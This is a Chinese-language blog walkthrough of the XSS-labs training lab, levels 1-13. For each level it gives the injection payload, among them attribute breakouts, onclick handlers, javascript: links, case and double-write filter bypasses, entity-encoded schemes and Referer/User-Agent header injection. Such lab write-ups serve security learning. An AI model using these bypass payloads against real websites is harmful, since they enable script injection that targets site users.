XSS-labs通关挑战

news2024/12/25 1:56:55

目录标题

      • 1、开始页面
      • 2、level 1
      • 3、level 2
      • 4、level 3
      • 5、level 4
      • 6、level 5
      • 7、level 6
      • 8、level 7
      • 9、level 8
      • 10、level 9
      • 11、level 10
      • 12、level 11
      • 13、level 12
      • 14、level 13

1、开始页面

在这里插入图片描述

2、level 1

在这里插入图片描述
在url后面可以发现有注入点。如下:

在这里插入图片描述
在这里插入图片描述

这里出现弹窗,可以知道已经通关。

3、level 2

在这里插入图片描述
我们先按第一关思路。在方框里输入<script>alert(1)</script>,没有成功。如下:
在这里插入图片描述
在这里我发现注入点在value这里。第一点我就想到闭合标签,如果逃逸不出双引号限制,咱们啥都做不了。

闭合标签的方法:

a"><script>alert(1)</script>

在这里插入图片描述
第二关就通过了。

4、level 3

在这里插入图片描述
我们先随便注入,如下图:
在这里插入图片描述

在尝试注入后,我发现我输入的全部被实体转义了,而htmlspecialchars()没做设置,默认过滤双引号。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后注入如下:

'οnclick=alert(1)//

在这里插入图片描述
第三关通过

5、level 4

在这里插入图片描述
先尝试注入,如下:
在这里插入图片描述
我发现< >被过滤掉了。
我再次尝试注入,如下:

"οnclick=alert(1)//

在这里插入图片描述
第四关通过

6、level 5

还是老样子,看它的输出点,还是在h2上。如下图:
在这里插入图片描述
先尝试注入,如下图:
在这里插入图片描述
这里很明显,它把script标签过滤了。
这里在尝试是否可以逃逸出双引号,如下:
在这里插入图片描述
可以看到是可以逃逸出来的。
这样我们就有思路了,用a标签再次尝试注入,如下:

aaa"><a href="javascript:alert(1)">aaaaa</a>

在这里插入图片描述
到这里我们第五关就通关了

7、level 6

同样我们先尝试注入,先注入aaaa没有成功,在注入<script>alert(1)</scirpt>发现script被过滤了。如下图:
在这里插入图片描述
发现与第五关一样,所以尝试注入第五关的代码。如下:
在这里插入图片描述
发现没有成功,我们查看代码。如下:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

发现它是把script标签、on、src、data、href都给过滤掉了。
这里无意间尝试到大写注入,发现没有被过滤。如下:

aaa"><ScRiPt>alert(1)</sCrIpT>

在这里插入图片描述
第六关通关

8、level 7

首先老样子先尝试注入。<script>alert(1)</script>,大小写,点击事件(onlick),都失败了;然后查看源码。

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

发现我们可以双写注入,如下:

aaa"oonnclick="alert(1)"

在这里插入图片描述
第七关通过。

9、level 8

先测试payload,可以看见前面几题的注入的代码、大小写等思路都被过滤的死死的。这里只能看源码了。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

想了好久,想到了编码,然后抱着试试的心态。将javascript编码,&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
在这里插入图片描述
抱着试试的心态,然后就第八关通过了。

这里当时我有一个疑问,什么时候能用实体编码,什么时候不能用实体编码?

总结
1、<script><style>数据只能有文本,不会有HTML解码和URL解码操作
2、<textarea><title>里会有HTML解码操作,但不会有子元素
3、其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
4、部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
5、JavaScript会对字符串和标识符Unicode解码,JS中不能对特殊字符进行unicode编码

10、level 9

先随便注入,发现它的链接不合法。说明失败了。这个时候又得看源码。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

源码上说如果没有’http://',就是不合法。所以接下来的注入先尝试加入http://。
先尝试javascript:alert(1)http://。失败了,接着尝试实体编码。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116:alert(1)//http://

在这里插入图片描述
一开始没有//,发现没成功。然后我们尝试将http//注释掉,然后就成功了。
第九关通过。

11、level 10

我们先写一些值,发现只有t_sort的值写上了,所以这是一个思路。
在这里插入图片描述
先闭合将type覆盖掉,尝试注入:

http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" type="text"

在这里插入图片描述
发现type被覆盖了,那个文本框出来了。然后我们在它里面加入点击事件再次尝试注入:

http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" οnclick=alert(1) type="text"

在这里插入图片描述
注入成功,第十关通过。

12、level 11

先在url里注入值,发现只用t_sort的值注入了。文本框没有出来。
在这里插入图片描述
与第十关相似,都有隐藏标签,只是多了一个t_ref参数。
发现多了一个$str11=$_SERVER[‘HTTP_REFERER’]字段,而我们知道,HTTP_REFERER 是获取http请求中的Referer字段的,也就是我们是从哪一个页面来到现在这个页面的。我们可以使Hackbar进行修改Referer字段。
最后注入:

aaa" type="text" onclick="alert(1)

在这里插入图片描述
十一关通过。

13、level 12

发现这次的和上一关一模一样,那么思路就有了,我们直接从User-agent入手,构造代码:

user-agent" onclick="alert(1)" type="text

在这里插入图片描述

14、level 13

这里是对cookie的插入,我们要先找到cookie的键,才能进行后续的插入:user=78945612
在这里插入图片描述
从14关开始都是flash漏洞,flash漏洞已经被淘汰了。所以这里就没做。

leve1 2 闭合双引号
level 3 单引号
leve1 4 双引号
level 5标签绕过
leve1 6 大小写绕过
leve1 7 双写script绕过 扩展解析漏洞
leve1 8 encode加密绕过
level 9 ur1必须添加http://
level 10 t sort
level 11 t_ref
level 12 t_ua
leve1 13 t_cook

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/366879.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文搞清楚LoRa网关,LoRa网关全知道

欢迎来到东用知识小课堂下面&#xff0c;今天我们用东用科技的OGC300系列LoRa为例&#xff0c;以简单的方式帮助大家了解一下LoRa相关的小知识一、LoRa网关的基本介绍LoRa是semtech公司创建的低功耗局域网无线标准&#xff0c;低功耗一般很难覆盖远距离&#xff0c;远距离一般功…

Roblox小游戏走出元宇宙试炼年

当元宇宙业务成为海内外互联网巨头急于甩掉的包袱时&#xff0c;“元宇宙第一股”Roblox最近的表现极其提气。 先是2月15日&#xff0c;这家在线游戏娱乐及创作平台公布上一年财报&#xff0c;公司全年营收为 22 亿美元&#xff0c;同比增长 16%。今年1 月&#xff0c;该公司的…

HIVE --- 高级查询

目录 CTE和嵌套查询 嵌套查询 关联查询&#xff08;join&#xff09; MapJoin MapJoin操作在Map端完成 开启MapJoin操作 MAPJOIN不支持的操作 union 数据交换&#xff08;import/export&#xff09; 数据排序 order by sort by distribute by cluster by CTE和嵌…

Authing 入选德勤“中国明日之星”企业榜单

近日&#xff0c;德勤发布“德勤中国明日之星”榜单&#xff0c;该项目致力于发掘和表彰蓬勃成长、持续创新、积极承担社会责任的卓越企业。该榜单1995 年创立至今&#xff0c;被业界誉为“全球高成长企业的标杆”。Authing 凭借在 IDaaS&#xff08;身份云&#xff09; 领域突…

【likeshop】开源商城系统代码有什么好?

​开源是什么&#xff1f; 开源是指软件的源代码开放给任何人自由使用、修改和再分发的概念。开源软件的源代码可以免费获取&#xff0c;用户可以根据自己的需要修改源代码&#xff0c;并且可以将修改后的代码免费分发给其他人使用。开源软件的源代码是公开的&#xff0c;其他人…

谈谈分布式系统的CAP理论

目录什么是CAP为什么三者不可得兼CAP原则权衡CAP原则实际应用什么是CAP CAP原则又称CAP定理&#xff0c;指的是在一个分布式系统中&#xff0c;Consistency&#xff08;一致性&#xff09;、 Availability&#xff08;可用性&#xff09;、Partition tolerance&#xff08;分区…

软件测试从业多年,一直认为自己技术不错,裸辞后一晃 ,失业3个月了~

最近&#xff0c;找了很多软测行业的朋友聊天、吃饭 &#xff0c;了解了一些很意外的现状 。 我一直觉得他们技术非常不错&#xff0c;也走的测开/管理的路径&#xff1b;疫情原因&#xff0c;二三月份裸辞的&#xff0c;然后一直在找工作&#xff0c;现在还没找到工作 。 经…

Linux 文件基本属性

Linux 系统是一种典型的多用户系统&#xff0c;不同的用户处于不同的地位&#xff0c;拥有不同的权限。 为了保护系统的安全性&#xff0c;Linux 系统对不同的用户访问同一文件&#xff08;包括目录文件&#xff09;的权限做了不同的规定。 在 Linux 中我们通常使用以下两个命…

(考研湖科大教书匠计算机网络)第六章应用层-第七节:万维网WWW

获取pdf&#xff1a;密码7281专栏目录首页&#xff1a;【专栏必读】考研湖科大教书匠计算机网络笔记导航 文章目录一&#xff1a;万维网概述二&#xff1a;万维网应用&#xff08;1&#xff09;URI和URLA&#xff1a;URI和URL关系B&#xff1a;URL格式&#xff08;2&#xff09…

Docker 基本操作

image操作从Docker Hub 拉取已有镜像一个Docker 镜像(image)包含了程序代码和程序运行所依赖的所有环境。 Docker 镜像一般存放在镜像仓库服务(Image Registry)里&#xff0c;默认的镜像仓库服务是Docker Hub。 用户可以制作、构建镜像、将镜像上传到镜像仓库服务&#xff0c;从…

uniCloud云开发----7、uniapp通过uni-swiper-dot实现轮播图

uniapp通过uni-swiper-dot实现轮播图前言效果图1、官网实现的效果2、需求中使用到的效果图官网提供的效果图源码1、html部分2、js部分3、css部分根据需求调整轮播图前言 uni-swiper-dot.文档 uni-swiper-dot 轮播图指示点 - DCloud 插件市场 本次展示根据需求制作的和官网用到…

记一次从文件备份泄露到主机上线

前言 记录下某个测试项目中&#xff0c;通过一个文件备份泄露到主机上线的过程。 文件备份泄露 对于测试的第一项当然是弱口令&#xff0c;bp跑了一通词典&#xff0c;无果。目录又爆破了一通&#xff0c;发现一个web.rar可通&#xff0c;赶紧下载看看&#xff0c;如下图所示…

uniapp项目搭架和首页制作

论坛项目uniapp跨端创建uniapp项目备注&#xff1a;配置常用目录&#xff08;目录名称可自定义&#xff09;配置项目的tabbar在page.json文件中配置。"tabBar": {"borderStyle": "black","color": "#90868a","selected…

CTFer成长之路之命令执行漏洞

命令执行漏洞CTF 死亡ping命令 题目描述: 路由器管理台经常存在的网络ping测试&#xff0c;开发者常常会禁用大量的恶意字符串&#xff0c;试试看如何绕过呢&#xff1f; docker-compose.yml version: "3.2"services:converter:image: registry.cn-hangzhou.ali…

液氮恒温器(电学)T9015的技术规格

液氮型低温恒温器&#xff0c;利用液氮作为降温媒介&#xff0c;标准恒温器可实现快速降温至液氮温度&#xff08;约20min&#xff09;&#xff0c;其工作原理是在恒温器内部液氮腔内装入液氮&#xff0c;通过调整控温塞与冷指的间隙来保持冷指的漏热稳定在一定值上&#xff0c…

【测试面试】头条大厂,测试开发岗真实一面。你能抵得住吗?

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 小吴&#xff1a; 现…

力扣SQL刷题12

目录标题176. 第二高的薪水 - 输出null问题177. 第N高的薪水--omg&#xff0c;第一次遇到SQL里写function178. 分数排名 - 简单626. 换座位 - 新题型176. 第二高的薪水 - 输出null问题 题型&#xff1a;输出第二大的数值&#xff0c;且不存在时输出null 解答&#xff1a; 解法…

ELK日志分析--ES(Elasticsearch)--(一)

ES基本介绍 单机ES部署 ES&#xff08;Elasticsearch&#xff09;集群部署 1.基本介绍 Elasticsearch&#xff1a;存储、搜索和分析 Elasticsearch是Elastic Stack核心的分布式搜索和分析引擎。Logstash和Beats有助于收集&#xff0c;聚合和丰富你的数据并将其存储在Elastics…

Revit教程:标注技巧,底部延伸距离“设置,实时轴号

一、Revit在三维视图中的高程点标注技巧 一般在平面图上高程点是水平放置的&#xff0c;但是在三维显示中&#xff0c;如何将高程点水平放置呢? 在三维视图中&#xff0c;有些时候根据项目要求&#xff0c;要在建筑上放置高程点&#xff0c;但是将视图旋转以后&#xff0c;高程…

【python】anaconda 管理 python 环境

anaconda 管理虚拟环境anaconda 简介python 虚拟环境的安装查看当前 anaconda中所有的虚拟环境创建新的虚拟环境激活所创建的虚拟环境删除指定的虚拟环境退出当前虚拟环境查看当前虚拟环境中所有安装的库安装常用包pycharmpycharm 下环境配置pycharm 使用anaconda 简介 anacon…